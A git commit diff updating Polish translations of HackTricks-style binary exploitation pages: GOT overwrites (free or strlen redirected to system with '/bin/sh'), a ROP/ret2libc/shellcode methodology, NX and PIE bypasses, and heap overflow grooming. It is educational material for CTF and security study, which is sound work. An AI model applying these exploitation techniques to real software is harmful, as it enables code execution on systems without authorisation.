Translated ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-got-

This commit is contained in:
Translator 2025-01-04 13:28:28 +00:00
parent f3ff62761a
commit c95aa1e342
65 changed files with 1004 additions and 1003 deletions

View File

@ -12,7 +12,7 @@ Każdy wpis w GOT odpowiada symbolowi w zewnętrznych bibliotekach, które może
### **PLT: Procedure Linkage Table**
**Procedure Linkage Table (PLT)** działa blisko z GOT i służy jako trampolina do obsługi wywołań funkcji zewnętrznych. Gdy binarne **wywołuje funkcję zewnętrzną po raz pierwszy, kontrola jest przekazywana do wpisu w PLT powiązanego z tą funkcją**. Ten wpis PLT jest odpowiedzialny za wywołanie dynamicznego linkera w celu rozwiązania adresu funkcji, jeśli nie został on jeszcze rozwiązany. Po rozwiązaniu adresu, jest on przechowywany w **GOT**.
**Procedure Linkage Table (PLT)** działa blisko z GOT i służy jako trampolina do obsługi wywołań funkcji zewnętrznych. Gdy binarne **wywołuje funkcję zewnętrzną po raz pierwszy, kontrola jest przekazywana do wpisu w PLT powiązanego z tą funkcją**. Ten wpis PLT jest odpowiedzialny za wywołanie dynamicznego linkera w celu rozwiązania adresu funkcji, jeśli nie został on jeszcze rozwiązany. Po rozwiązaniu adresu jest on przechowywany w **GOT**.
**Dlatego** wpisy GOT są używane bezpośrednio, gdy adres funkcji lub zmiennej zewnętrznej jest rozwiązany. **Wpisy PLT są używane do ułatwienia początkowego rozwiązania** tych adresów za pośrednictwem dynamicznego linkera.
@ -20,13 +20,13 @@ Każdy wpis w GOT odpowiada symbolowi w zewnętrznych bibliotekach, które może
### Sprawdź GOT
Uzyskaj adres tabeli GOT za pomocą: **`objdump -s -j .got ./exec`**
Uzyskaj adres do tabeli GOT za pomocą: **`objdump -s -j .got ./exec`**
![](<../../images/image (121).png>)
Obserwuj, jak po **załadowaniu** **wykonywalnego** w GEF możesz **zobaczyć** **funkcje**, które są w **GOT**: `gef➤ x/20x 0xADDR_GOT`
Zauważ, jak po **załadowaniu** **wykonywalnego** w GEF możesz **zobaczyć** **funkcje**, które są w **GOT**: `gef➤ x/20x 0xADDR_GOT`
![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
Korzystając z GEF, możesz **rozpocząć** sesję **debugowania** i wykonać **`got`**, aby zobaczyć tabelę got:
@ -34,33 +34,33 @@ Korzystając z GEF, możesz **rozpocząć** sesję **debugowania** i wykonać **
### GOT2Exec
W binarnym GOT ma **adresy do funkcji lub** do sekcji **PLT**, która załadowuje adres funkcji. Celem tego arbitralnego zapisu jest **nadpisanie wpisu GOT** funkcji, która ma być wykonana później **za pomocą** **adresu** PLT funkcji **`system`** na przykład.
W binarnym GOT ma **adresy do funkcji lub** do sekcji **PLT**, która załadowuje adres funkcji. Celem tego arbitralnego zapisu jest **nadpisanie wpisu GOT** funkcji, która ma być wykonana później **z** **adresem** PLT funkcji **`system`** na przykład.
Idealnie, będziesz **nadpisywać** **GOT** funkcji, która **ma być wywołana z parametrami kontrolowanymi przez Ciebie** (więc będziesz mógł kontrolować parametry wysyłane do funkcji system).
Idealnie, chcesz **nadpisać** **GOT** funkcji, która **ma być wywołana z parametrami kontrolowanymi przez Ciebie** (abyś mógł kontrolować parametry wysyłane do funkcji systemowej).
Jeśli **`system`** **nie jest używany** przez binarne, funkcja system **nie będzie** miała wpisu w PLT. W tym scenariuszu będziesz **musiał najpierw wycieknąć adres** funkcji `system`, a następnie nadpisać GOT, aby wskazywał na ten adres.
Jeśli **`system`** **nie jest używany** przez binarne, funkcja systemowa **nie będzie** miała wpisu w PLT. W tym scenariuszu będziesz **musiał najpierw wycieknąć adres** funkcji `system`, a następnie nadpisać GOT, aby wskazywał na ten adres.
Możesz zobaczyć adresy PLT za pomocą **`objdump -j .plt -d ./vuln_binary`**
## wpisy GOT libc
**GOT libc** jest zazwyczaj kompilowany z **częściowym RELRO**, co czyni go dobrym celem dla tego, zakładając, że możliwe jest ustalenie jego adresu ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)).
**GOT libc** jest zazwyczaj kompilowane z **częściowym RELRO**, co czyni go dobrym celem dla tej techniki, zakładając, że możliwe jest ustalenie jego adresu ([**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)).
Typowe funkcje libc będą wywoływać **inne funkcje wewnętrzne**, których GOT można nadpisać, aby uzyskać wykonanie kodu.
Typowe funkcje libc będą wywoływać **inne funkcje wewnętrzne**, których GOT mogłoby być nadpisane w celu uzyskania wykonania kodu.
Znajdź [**więcej informacji na temat tej techniki tutaj**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
### **Free2system**
W eksploitacji heap w CTF często można kontrolować zawartość chunków i w pewnym momencie nawet nadpisać tabelę GOT. Prosty trik, aby uzyskać RCE, jeśli gadżety nie są dostępne, to nadpisać adres GOT `free`, aby wskazywał na `system` i zapisać w chunku `"/bin/sh"`. W ten sposób, gdy ten chunk zostanie zwolniony, wykona `system("/bin/sh")`.
W eksploitacji heap w CTF często można kontrolować zawartość kawałków i w pewnym momencie nawet nadpisać tabelę GOT. Prosty trik, aby uzyskać RCE, jeśli gadżety nie są dostępne, to nadpisać adres GOT `free`, aby wskazywał na `system` i zapisać w kawałku `"/bin/sh"`. W ten sposób, gdy ten kawałek zostanie zwolniony, wykona `system("/bin/sh")`.
### **Strlen2system**
Inną powszechną techniką jest nadpisanie adresu GOT **`strlen`**, aby wskazywał na **`system`**, więc jeśli ta funkcja jest wywoływana z danymi wejściowymi od użytkownika, możliwe jest przekazanie ciągu `"/bin/sh"` i uzyskanie powłoki.
Inną powszechną techniką jest nadpisanie adresu GOT **`strlen`**, aby wskazywał na **`system`**, więc jeśli ta funkcja jest wywoływana z danymi wejściowymi użytkownika, możliwe jest przekazanie ciągu `"/bin/sh"` i uzyskanie powłoki.
Ponadto, jeśli `puts` jest używane z danymi wejściowymi od użytkownika, możliwe jest nadpisanie adresu GOT `strlen`, aby wskazywał na `system` i przekazanie ciągu `"/bin/sh"`, aby uzyskać powłokę, ponieważ **`puts` wywoła `strlen` z danymi wejściowymi od użytkownika**.
Ponadto, jeśli `puts` jest używane z danymi wejściowymi użytkownika, możliwe jest nadpisanie adresu GOT `strlen`, aby wskazywał na `system` i przekazanie ciągu `"/bin/sh"`, aby uzyskać powłokę, ponieważ **`puts` wywoła `strlen` z danymi wejściowymi użytkownika**.
## **Jeden gadżet**
## **One Gadget**
{{#ref}}
../rop-return-oriented-programing/ret2lib/one-gadget.md
@ -68,8 +68,8 @@ Ponadto, jeśli `puts` jest używane z danymi wejściowymi od użytkownika, moż
## **Wykorzystywanie GOT z Heap**
Powszechnym sposobem uzyskania RCE z podatności na heap jest nadużycie fastbina, aby można było dodać część tabeli GOT do fastbina, więc za każdym razem, gdy ten chunk jest alokowany, będzie możliwe **nadpisanie wskaźnika funkcji, zazwyczaj `free`**.\
Następnie, wskazując `free` na `system` i zwalniając chunk, w którym zapisano `/bin/sh\x00`, wykona powłokę.
Powszechnym sposobem uzyskania RCE z podatności na heap jest nadużycie fastbina, aby można było dodać część tabeli GOT do fastbina, więc za każdym razem, gdy ten kawałek jest przydzielany, będzie można **nadpisać wskaźnik funkcji, zazwyczaj `free`**.\
Następnie, wskazując `free` na `system` i zwalniając kawałek, w którym zapisano `/bin/sh\x00`, wykona powłokę.
Możliwe jest znalezienie [**przykładu tutaj**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.**

View File

@ -24,13 +24,13 @@ Przy tak wielu technikach dobrze jest mieć schemat, kiedy każda technika będz
Istnieje kilka sposobów, aby kontrolować przepływ programu:
- [**Przepełnienia Stosu**](../stack-overflow/) nadpisując wskaźnik powrotu ze stosu lub EBP -> ESP -> EIP.
- [**Przepełnienia Stosu**](../stack-overflow/index.html) nadpisujące wskaźnik powrotu ze stosu lub EBP -> ESP -> EIP.
- Może być konieczne nadużycie [**Przepełnień Liczbowych**](../integer-overflow.md), aby spowodować przepełnienie.
- Lub poprzez **Arbitralne Zapis + Write What Where to Execution**.
- [**Format strings**](../format-strings/)**:** Nadużyj `printf`, aby zapisać arbitralną zawartość w arbitralnych adresach.
- [**Indeksowanie Tablic**](../array-indexing.md): Nadużyj źle zaprojektowanego indeksowania, aby móc kontrolować niektóre tablice i uzyskać arbitralny zapis.
- Lub poprzez **Arbitralne Zapisanie + Write What Where to Execution**.
- [**Format strings**](../format-strings/index.html)**:** Nadużyj `printf`, aby zapisać arbitralną zawartość w arbitralnych adresach.
- [**Indeksowanie Tablic**](../array-indexing.md): Nadużyj źle zaprojektowanego indeksowania, aby móc kontrolować niektóre tablice i uzyskać arbitralne zapisanie.
- Może być konieczne nadużycie [**Przepełnień Liczbowych**](../integer-overflow.md), aby spowodować przepełnienie.
- **bof do WWW poprzez ROP**: Nadużyj przepełnienia bufora, aby skonstruować ROP i móc uzyskać WWW.
- **bof do WWW za pomocą ROP**: Nadużyj przepełnienia bufora, aby skonstruować ROP i móc uzyskać WWW.
Możesz znaleźć techniki **Write What Where to Execution** w:
@ -40,7 +40,7 @@ Możesz znaleźć techniki **Write What Where to Execution** w:
## Wieczne Pętle
Coś, co warto wziąć pod uwagę, to że zazwyczaj **jedna eksploatacja luki może nie wystarczyć**, aby przeprowadzić udaną eksploatację, szczególnie niektóre zabezpieczenia muszą być obejście. Dlatego warto omówić kilka opcji, aby **uczynić pojedynczą lukę eksploatowalną wiele razy** w tej samej egzekucji binarnej:
Coś, co należy wziąć pod uwagę, to że zazwyczaj **jedna eksploatacja luki może nie być wystarczająca**, aby przeprowadzić udaną eksploatację, szczególnie niektóre zabezpieczenia muszą być obejście. Dlatego warto omówić kilka opcji, aby **uczynić pojedynczą lukę eksploatowalną wiele razy** w tej samej egzekucji binarnej:
- Zapisz w łańcuchu **ROP** adres funkcji **`main`** lub adres, w którym występuje **luka**.
- Kontrolując odpowiedni łańcuch ROP, możesz wykonać wszystkie akcje w tym łańcuchu.
@ -52,16 +52,16 @@ Coś, co warto wziąć pod uwagę, to że zazwyczaj **jedna eksploatacja luki mo
### Cel: Wywołanie Istniejącej Funkcji
- [**ret2win**](#ret2win): Istnieje funkcja w kodzie, którą musisz wywołać (może z pewnymi specyficznymi parametrami), aby uzyskać flagę.
- W **zwykłym bof bez** [**PIE**](../common-binary-protections-and-bypasses/pie/) **i** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) wystarczy zapisać adres w adresie powrotu przechowywanym na stosie.
- W bof z [**PIE**](../common-binary-protections-and-bypasses/pie/) będziesz musiał to obejść.
- W bof z [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) będziesz musiał to obejść.
- W **zwykłym bof bez** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **i** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html) wystarczy zapisać adres w adresie powrotu przechowywanym na stosie.
- W bof z [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) będziesz musiał to obejść.
- W bof z [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html) będziesz musiał to obejść.
- Jeśli musisz ustawić kilka parametrów, aby poprawnie wywołać funkcję **ret2win**, możesz użyć:
- Łańcucha [**ROP**](#rop-and-ret2...-techniques), jeśli jest wystarczająco dużo gadżetów, aby przygotować wszystkie parametry.
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (w przypadku, gdy możesz wywołać ten syscall), aby kontrolować wiele rejestrów.
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) (w przypadku, gdy możesz wywołać ten syscall), aby kontrolować wiele rejestrów.
- Gadżetów z [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) i [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md), aby kontrolować kilka rejestrów.
- Poprzez [**Write What Where**](../arbitrary-write-2-exec/) możesz nadużyć innych luk (nie bof), aby wywołać funkcję **`win`**.
- Poprzez [**Write What Where**](../arbitrary-write-2-exec/index.html) możesz nadużyć innych luk (nie bof), aby wywołać funkcję **`win`**.
- [**Przekierowywanie Wskaźników**](../stack-overflow/pointer-redirecting.md): W przypadku, gdy stos zawiera wskaźniki do funkcji, która ma być wywołana, lub do ciągu, który ma być użyty przez interesującą funkcję (system lub printf), możliwe jest nadpisanie tego adresu.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) lub [**PIE**](../common-binary-protections-and-bypasses/pie/) mogą wpływać na adresy.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) lub [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) mogą wpływać na adresy.
- [**Niezainicjowane zmienne**](../stack-overflow/uninitialized-variables.md): Nigdy nie wiesz.
### Cel: RCE
@ -69,43 +69,43 @@ Coś, co warto wziąć pod uwagę, to że zazwyczaj **jedna eksploatacja luki mo
#### Poprzez shellcode, jeśli nx wyłączone lub mieszając shellcode z ROP:
- [**(Stack) Shellcode**](#stack-shellcode): To jest przydatne do przechowywania shellcode na stosie przed lub po nadpisaniu wskaźnika powrotu, a następnie **skok do niego**, aby go wykonać:
- **W każdym przypadku, jeśli istnieje** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** w zwykłym bof będziesz musiał to obejść (leak).
- **Bez** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **i** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) możliwe jest skok do adresu stosu, ponieważ nigdy się nie zmieni.
- **Z** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) będziesz potrzebował technik takich jak [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md), aby do niego skoczyć.
- **Z** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), będziesz musiał użyć [**ROP**](../rop-return-oriented-programing/), **aby wywołać `memprotect`** i uczynić stronę `rwx`, aby następnie **przechować shellcode tam** (wywołując read na przykład) i następnie tam skoczyć.
- **W każdym przypadku, jeśli istnieje** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/index.html)**,** w zwykłym bof będziesz musiał to obejść (leak).
- **Bez** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **i** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) możliwe jest skok do adresu stosu, ponieważ nigdy się nie zmieni.
- **Z** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) będziesz potrzebował technik takich jak [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md), aby skoczyć do niego.
- **Z** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), będziesz musiał użyć [**ROP**](../rop-return-oriented-programing/index.html) **do wywołania `memprotect`** i uczynić stronę `rwx`, aby następnie **przechować shellcode tam** (wywołując read na przykład) i następnie skoczyć tam.
- To połączy shellcode z łańcuchem ROP.
#### Poprzez syscalls
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Przydatne do wywołania `execve`, aby uruchomić arbitralne polecenia. Musisz być w stanie znaleźć **gadżety do wywołania konkretnego syscall z parametrami**.
- Jeśli [**ASLR**](../common-binary-protections-and-bypasses/aslr/) lub [**PIE**](../common-binary-protections-and-bypasses/pie/) są włączone, będziesz musiał je pokonać **w celu użycia gadżetów ROP** z binarnego lub bibliotek.
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) może być przydatne do przygotowania **ret2execve**.
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html): Przydatne do wywołania `execve`, aby uruchomić arbitralne polecenia. Musisz być w stanie znaleźć **gadżety do wywołania konkretnego syscall z parametrami**.
- Jeśli [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) lub [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) są włączone, będziesz musiał je pokonać **w celu użycia gadżetów ROP** z binarnego lub bibliotek.
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/index.html) może być przydatne do przygotowania **ret2execve**.
- Gadżety z [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) i [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md), aby kontrolować kilka rejestrów.
#### Poprzez libc
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Przydatne do wywołania funkcji z biblioteki (zwykle z **`libc`**) jak **`system`** z pewnymi przygotowanymi argumentami (np. `'/bin/sh'`). Musisz, aby binarny **załadował bibliotekę** z funkcją, którą chciałbyś wywołać (zwykle libc).
- Jeśli **skompilowane statycznie i bez** [**PIE**](../common-binary-protections-and-bypasses/pie/), **adres** `system` i `/bin/sh` nie zmienią się, więc możliwe jest ich użycie statycznie.
- **Bez** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **i znając wersję libc** załadowaną, **adres** `system` i `/bin/sh` nie zmienią się, więc możliwe jest ich użycie statycznie.
- Z [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **ale bez** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, znając libc i z binarnym używającym funkcji `system`** możliwe jest **`ret` do adresu system w GOT** z adresem `'/bin/sh'` w parametrze (musisz to ustalić).
- Z [ASLR](../common-binary-protections-and-bypasses/aslr/) ale bez [PIE](../common-binary-protections-and-bypasses/pie/), znając libc i **bez binarnego używającego `system`**:
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/index.html): Przydatne do wywołania funkcji z biblioteki (zwykle z **`libc`**) jak **`system`** z pewnymi przygotowanymi argumentami (np. `'/bin/sh'`). Musisz, aby binarny **załadował bibliotekę** z funkcją, którą chciałbyś wywołać (zwykle libc).
- Jeśli **skompilowane statycznie i bez** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), **adres** `system` i `/bin/sh` nie będą się zmieniać, więc możliwe jest ich użycie statycznie.
- **Bez** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **i znając wersję libc** załadowaną, **adres** `system` i `/bin/sh` nie będą się zmieniać, więc możliwe jest ich użycie statycznie.
- Z [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **ale bez** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)**, znając libc i z binarnym używającym funkcji `system`**, możliwe jest **`ret` do adresu system w GOT** z adresem `'/bin/sh'` w parametrze (musisz to ustalić).
- Z [ASLR](../common-binary-protections-and-bypasses/aslr/index.html) ale bez [PIE](../common-binary-protections-and-bypasses/pie/index.html), znając libc i **bez binarnego używającego `system`**:
- Użyj [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md), aby rozwiązać adres `system` i go wywołać.
- **Obejdź** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) i oblicz adres `system` i `'/bin/sh'` w pamięci.
- **Z** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **i** [**PIE**](../common-binary-protections-and-bypasses/pie/) **i nie znając libc**: Musisz:
- Obejść [**PIE**](../common-binary-protections-and-bypasses/pie/).
- Znaleźć **wersję `libc`** używaną (wyciek kilku adresów funkcji).
- **Obejdź** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) i oblicz adres `system` i `'/bin/sh'` w pamięci.
- **Z** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **i** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **i nie znając libc**: Musisz:
- Obejść [**PIE**](../common-binary-protections-and-bypasses/pie/index.html).
- Znaleźć **wersję libc** używaną (leak kilka adresów funkcji).
- Sprawdzić **poprzednie scenariusze z ASLR**, aby kontynuować.
#### Poprzez EBP/RBP
- [**Pivotowanie Stosu / EBP2Ret / Łańcuchowanie EBP**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Kontroluj ESP, aby kontrolować RET poprzez przechowywany EBP na stosie.
- Przydatne dla **off-by-one** przepełnień stosu.
- Przydatne jako alternatywny sposób na kontrolowanie EIP, nadużywając EIP do skonstruowania ładunku w pamięci, a następnie skacząc do niego poprzez EBP.
- Przydatne jako alternatywny sposób na kontrolowanie EIP, nadużywając EIP do skonstruowania ładunku w pamięci, a następnie skacząc do niego za pomocą EBP.
#### Różne
- [**Przekierowywanie Wskaźników**](../stack-overflow/pointer-redirecting.md): W przypadku, gdy stos zawiera wskaźniki do funkcji, która ma być wywołana, lub do ciągu, który ma być użyty przez interesującą funkcję (system lub printf), możliwe jest nadpisanie tego adresu.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) lub [**PIE**](../common-binary-protections-and-bypasses/pie/) mogą wpływać na adresy.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) lub [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) mogą wpływać na adresy.
- [**Niezainicjowane zmienne**](../stack-overflow/uninitialized-variables.md): Nigdy nie wiesz.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,13 +4,13 @@
## Podstawowe informacje
Bit **No-Execute (NX)**, znany również jako **Execute Disable (XD)** w terminologii Intela, to funkcja zabezpieczeń oparta na sprzęcie, zaprojektowana w celu **łagodzenia** skutków ataków **buffer overflow**. Po wdrożeniu i włączeniu, odróżnia obszary pamięci przeznaczone na **kod wykonywalny** od tych przeznaczonych na **dane**, takich jak **stos** i **sterta**. Główna idea polega na zapobieganiu wykonaniu złośliwego kodu przez atakującego poprzez wykorzystanie luk w buffer overflow, umieszczając złośliwy kod na stosie i kierując do niego przepływ wykonania.
Bit **No-Execute (NX)**, znany również jako **Execute Disable (XD)** w terminologii Intela, to funkcja zabezpieczeń oparta na sprzęcie, zaprojektowana w celu **łagodzenia** skutków ataków **buffer overflow**. Gdy jest wdrożona i włączona, rozróżnia obszary pamięci przeznaczone na **kod wykonywalny** i te przeznaczone na **dane**, takie jak **stos** i **sterta**. Główna idea polega na zapobieganiu wykonaniu złośliwego kodu przez atakującego poprzez wykorzystanie luk w buffer overflow, umieszczając złośliwy kod na stosie i kierując do niego przepływ wykonania.
## Obejścia
- Możliwe jest użycie technik takich jak [**ROP**](../rop-return-oriented-programing/) **w celu obejścia** tej ochrony poprzez wykonywanie fragmentów kodu wykonywalnego już obecnego w binarnym.
- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
- Możliwe jest użycie technik takich jak [**ROP**](../rop-return-oriented-programing/index.html) **w celu obejścia** tej ochrony poprzez wykonywanie fragmentów kodu wykonywalnego już obecnego w binarnym.
- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/index.html)
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/index.html)
- **Ret2...**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## Podstawowe informacje
Plik binarny skompilowany jako PIE, czyli **Program niezależny od pozycji**, oznacza, że **program może być ładowany w różnych lokalizacjach pamięci** za każdym razem, gdy jest uruchamiany, co zapobiega twardo zakodowanym adresom.
Plik binarny skompilowany jako PIE, czyli **Position Independent Executable**, oznacza, że **program może być ładowany w różnych lokalizacjach pamięci** za każdym razem, gdy jest uruchamiany, co zapobiega twardo zakodowanym adresom.
Sztuczka do wykorzystania tych binariów polega na wykorzystaniu **adresów względnych**—offsety między częściami programu pozostają takie same, nawet jeśli lokalizacje bezwzględne się zmieniają. Aby **obejść PIE, wystarczy wyciek jednego adresu**, zazwyczaj z **stosu** przy użyciu luk, takich jak ataki formatu ciągu. Gdy masz adres, możesz obliczyć inne na podstawie ich **stałych offsetów**.
@ -17,13 +17,13 @@ Aby obejść PIE, konieczne jest **wycieknięcie jakiegoś adresu załadowanego*
- **Wyłączony ASLR**: Jeśli ASLR jest wyłączony, binarny skompilowany z PIE zawsze **będzie ładowany pod tym samym adresem**, dlatego **PIE będzie bezużyteczne**, ponieważ adresy obiektów zawsze będą w tym samym miejscu.
- Otrzymać **wyciek** (częste w łatwych wyzwaniach CTF, [**sprawdź ten przykład**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
- **Brute-force wartości EBP i EIP** na stosie, aż wyciekną poprawne:
- **Brute-force'ować wartości EBP i EIP** na stosie, aż wyciekną poprawne:
{{#ref}}
bypassing-canary-and-pie.md
{{#endref}}
- Użyj luki **arbitralnego odczytu**, takiej jak [**format ciągu**](../../format-strings/), aby wyciekować adres binarnego (np. ze stosu, jak w poprzedniej technice), aby uzyskać bazę binarnego i użyć offsetów stamtąd. [**Znajdź przykład tutaj**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
- Użyć luki **arbitralnego odczytu**, takiej jak [**format string**](../../format-strings/index.html), aby wyciekł adres binarnego (np. ze stosu, jak w poprzedniej technice), aby uzyskać bazę binarnego i użyć offsetów stamtąd. [**Znajdź przykład tutaj**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
## Odniesienia

View File

@ -4,9 +4,9 @@
## Podstawowe informacje
Heap overflow jest jak [**stack overflow**](../stack-overflow/), ale w stercie. Zasadniczo oznacza to, że pewna przestrzeń została zarezerwowana w stercie do przechowywania danych, a **przechowywane dane były większe niż zarezerwowana przestrzeń.**
Heap overflow jest jak [**stack overflow**](../stack-overflow/index.html), ale w stercie. Zasadniczo oznacza to, że pewna przestrzeń została zarezerwowana w stercie do przechowywania danych, a **przechowywane dane były większe niż zarezerwowana przestrzeń.**
W przypadku stack overflow wiemy, że niektóre rejestry, takie jak wskaźnik instrukcji czy ramka stosu, będą przywracane ze stosu i może to być możliwe do nadużycia. W przypadku heap overflow **nie ma żadnych wrażliwych informacji przechowywanych domyślnie** w kawałku sterty, który może być przepełniony. Jednak mogą to być wrażliwe informacje lub wskaźniki, więc **krytyczność** tej podatności **zależy** od **tego, jakie dane mogą być nadpisane** i jak napastnik mógłby to wykorzystać.
W przypadku stack overflow wiemy, że niektóre rejestry, takie jak wskaźnik instrukcji czy ramka stosu, będą przywracane ze stosu i można to wykorzystać. W przypadku heap overflow **nie ma żadnych wrażliwych informacji przechowywanych domyślnie** w kawałku sterty, który może być przepełniony. Jednak mogą to być wrażliwe informacje lub wskaźniki, więc **krytyczność** tej podatności **zależy** od **tego, jakie dane mogą być nadpisane** i jak atakujący może to wykorzystać.
> [!TIP]
> Aby znaleźć przesunięcia przepełnienia, możesz użyć tych samych wzorców, co w przypadku [**stack overflow**](../stack-overflow/index.html#finding-stack-overflows-offsets).
@ -15,27 +15,27 @@ W przypadku stack overflow wiemy, że niektóre rejestry, takie jak wskaźnik in
W przypadku stack overflow układ i dane, które będą obecne na stosie w momencie, gdy podatność może zostać wyzwolona, są dość wiarygodne. Dzieje się tak, ponieważ stos jest liniowy, zawsze rośnie w kolidującej pamięci, w **konkretnych miejscach działania programu pamięć stosu zazwyczaj przechowuje podobny rodzaj danych** i ma pewną specyficzną strukturę z pewnymi wskaźnikami na końcu części stosu używanej przez każdą funkcję.
Jednak w przypadku heap overflow używana pamięć nie jest liniowa, ale **alokowane kawałki są zazwyczaj w oddzielnych pozycjach pamięci** (nie jeden obok drugiego) z powodu **koszyków i stref** oddzielających alokacje według rozmiaru oraz dlatego, że **wcześniej zwolniona pamięć jest używana** przed alokowaniem nowych kawałków. Jest **skomplikowane, aby wiedzieć, jaki obiekt będzie kolidował z tym, który jest podatny** na przepełnienie sterty. Dlatego, gdy znajdzie się przepełnienie sterty, konieczne jest znalezienie **wiarygodnego sposobu, aby pożądany obiekt był następny w pamięci** od tego, który może być przepełniony.
Jednak w przypadku heap overflow używana pamięć nie jest liniowa, ale **alokowane kawałki są zazwyczaj w oddzielnych pozycjach pamięci** (nie jeden obok drugiego) z powodu **koszyków i stref** oddzielających alokacje według rozmiaru oraz dlatego, że **wcześniej zwolniona pamięć jest używana** przed alokowaniem nowych kawałków. **Trudno jest wiedzieć, który obiekt będzie kolidował z tym, który jest podatny** na heap overflow. Dlatego, gdy znajdzie się heap overflow, konieczne jest znalezienie **wiarygodnego sposobu, aby pożądany obiekt był następny w pamięci** od tego, który może być przepełniony.
Jedną z technik używanych do tego jest **Heap Grooming**, która jest używana na przykład [**w tym poście**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). W poście wyjaśniono, jak w jądrze iOS, gdy strefa kończy się pamięcią do przechowywania kawałków pamięci, rozszerza ją o stronę jądra, a ta strona jest dzielona na kawałki oczekiwanych rozmiarów, które będą używane w kolejności (do wersji iOS 9.2, potem te kawałki są używane w sposób losowy, aby utrudnić wykorzystanie tych ataków).
Dlatego w poprzednim poście, w którym występuje przepełnienie sterty, aby wymusić kolidujący obiekt, kilka **`kallocs` jest wymuszanych przez kilka wątków, aby spróbować zapewnić, że wszystkie wolne kawałki są wypełnione i że tworzona jest nowa strona**.
Dlatego w poprzednim poście, w którym występuje heap overflow, aby wymusić kolizję przepełnionego obiektu z obiektem ofiary, kilka **`kallocs` jest wymuszanych przez kilka wątków, aby spróbować zapewnić, że wszystkie wolne kawałki są wypełnione i że nowa strona jest tworzona**.
Aby wymusić to wypełnienie obiektami o określonym rozmiarze, **alokacja poza linią związana z portem mach iOS** jest idealnym kandydatem. Poprzez skonstruowanie rozmiaru wiadomości, możliwe jest dokładne określenie rozmiaru alokacji `kalloc`, a gdy odpowiedni port mach zostanie zniszczony, odpowiednia alokacja zostanie natychmiast zwolniona z powrotem do `kfree`.
